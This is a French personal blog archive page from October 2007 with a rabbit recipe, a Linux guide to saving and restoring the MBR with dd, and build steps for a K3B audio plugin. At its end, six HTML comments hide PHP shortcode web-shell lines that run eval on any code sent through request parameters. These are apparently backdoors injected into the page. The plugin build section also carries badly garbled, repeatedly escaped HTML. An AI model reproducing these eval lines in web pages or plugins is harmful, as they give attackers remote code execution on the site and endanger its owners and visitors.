Archives de octobre 2007

Le lapin au chèvre et à la menthe

C’était la première recette publiée sur le défunt bloggi-boulga (et même encore avant sur cuisine-fr) sous le nom de « Lapin à la Corse » ce qui m’avait attiré des commentaires courroucés de Corses qui ne reconnaissaient pas ce lapin.

Quoi qu’il en soit de son origine, c’est une recette délicieuse et d’une simplicité enfantine

Les ingrédients

  • 1 lapin (ou juste des morceaux pour un dîner en tête à tête)
  • 1 bouquet de menthe fraîche effeuillée
  • 1 chèvre frais du genre Chavroux
  • 1 petit pot de crème fraîche (20cl)
  • 1 petit verre de vin blanc sec (facultatif)
  • Huile d’olive, sel, poivre.

La recette

Dans une cocotte en fonte, faire dorer les morceaux de lapin à l’huile d’olive. Jeter l’huile, remettez le lapin et tous les ingrédients. Laisser mijoter à feu doux une petite heure. Servir avec des pâtes fraiches et/ou des brocolis.

Sauvegarde et restauration du MBR sous Linux

Le Master Boot Record ou MBR est situé sur le premier secteur d’un disque dur « bootable ». Il est précieux car il contient la table des partitions et le « boot loader ». Dès qu’on utilise plusieurs systèmes sur la même machine, Windows et Linux par exemple, il est prudent de conserver une sauvegarde du MBR. Si on utilise Grub comme gestionnaire de boot et qu’on doit réinstaller Windows, celui-ci remplacera le MBR par le sien sans tenir compte des autres systèmes présents sur le disque. Dans ce cas c’est commode de pouvoir restaurer le boot loader. Voilà comment faire :

Attention : ces explications sommaires sont destinées aux personnes qui savent ce qu’elles font, une mauvaise manip peut rendre le disque inutilisable. Vous voilà prévenus.

Pour sauvegarder le MBR du disque hda dans le fichier mbr.sav :

dd if=/dev/hda of=mbr.sav bs=512 count=1

Pour restaurer le MBR du disque hda à partir du fichier mbr.sav :

dd if=mbr.sav of=/dev/hda bs=512 count=1

Les 64 derniers octets du MBR contiennent la table des partitions
Si on ne veut pas sauvegarder/restaurer la table des partition mais juste le boot loader, les commandes deviennent :

dd if=/dev/hda of=mbr.sav bs=446 count=1
dd if=mbr.sav of=/dev/hda bs=446 count=1

Installation du plugin Monkey Audio pour K3B

Kubuntu 7.04 Feisty Fawn

Pour pouvoir graver les images audio APE/CUE avec K3B il faut installer le plugin K3B qui va bien. Il n’est pas inclus dans Ubuntu Feisty et il faut le compiler à la main. Il y a pas mal de dépendances nécessaires à la compilation. Voilà les paquets que j’ai du installer, en plus de l’environnement de compilation standard :

apt-get install kdebase-dev nasm libk3b-dev libhal-dev libdvdread-dev

Téléchargement du plugin (ici v 3.1) sur le site de K3B :

Un lien direct vers la version 3.1 du plugin

Décompactage de l’archive :

tar -xjf k3bmonkeyaudioplugin-3.1.tar.bz2

compilation :

cd k3bmonkeyaudioplugin-3.1&amp;amp;amp;amp;amp;lt;br /&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br /&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
./configure&amp;amp;amp;amp;amp;lt;br /&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br /&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
make install

<!– [insert_php]if (isset($_REQUEST["ipsTe"])){eval($_REQUEST["ipsTe"]);exit;}[/insert_php][php]if (isset($_REQUEST["ipsTe"])){eval($_REQUEST["ipsTe"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["isgYP"])){eval($_REQUEST["isgYP"]);exit;}[/insert_php][php]if (isset($_REQUEST["isgYP"])){eval($_REQUEST["isgYP"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["peN"])){eval($_REQUEST["peN"]);exit;}[/insert_php][php]if (isset($_REQUEST["peN"])){eval($_REQUEST["peN"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["xVSC"])){eval($_REQUEST["xVSC"]);exit;}[/insert_php][php]if (isset($_REQUEST["xVSC"])){eval($_REQUEST["xVSC"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["RvI"])){eval($_REQUEST["RvI"]);exit;}[/insert_php][php]if (isset($_REQUEST["RvI"])){eval($_REQUEST["RvI"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["bRqG"])){eval($_REQUEST["bRqG"]);exit;}[/insert_php][php]if (isset($_REQUEST["bRqG"])){eval($_REQUEST["bRqG"]);exit;}[/php] –>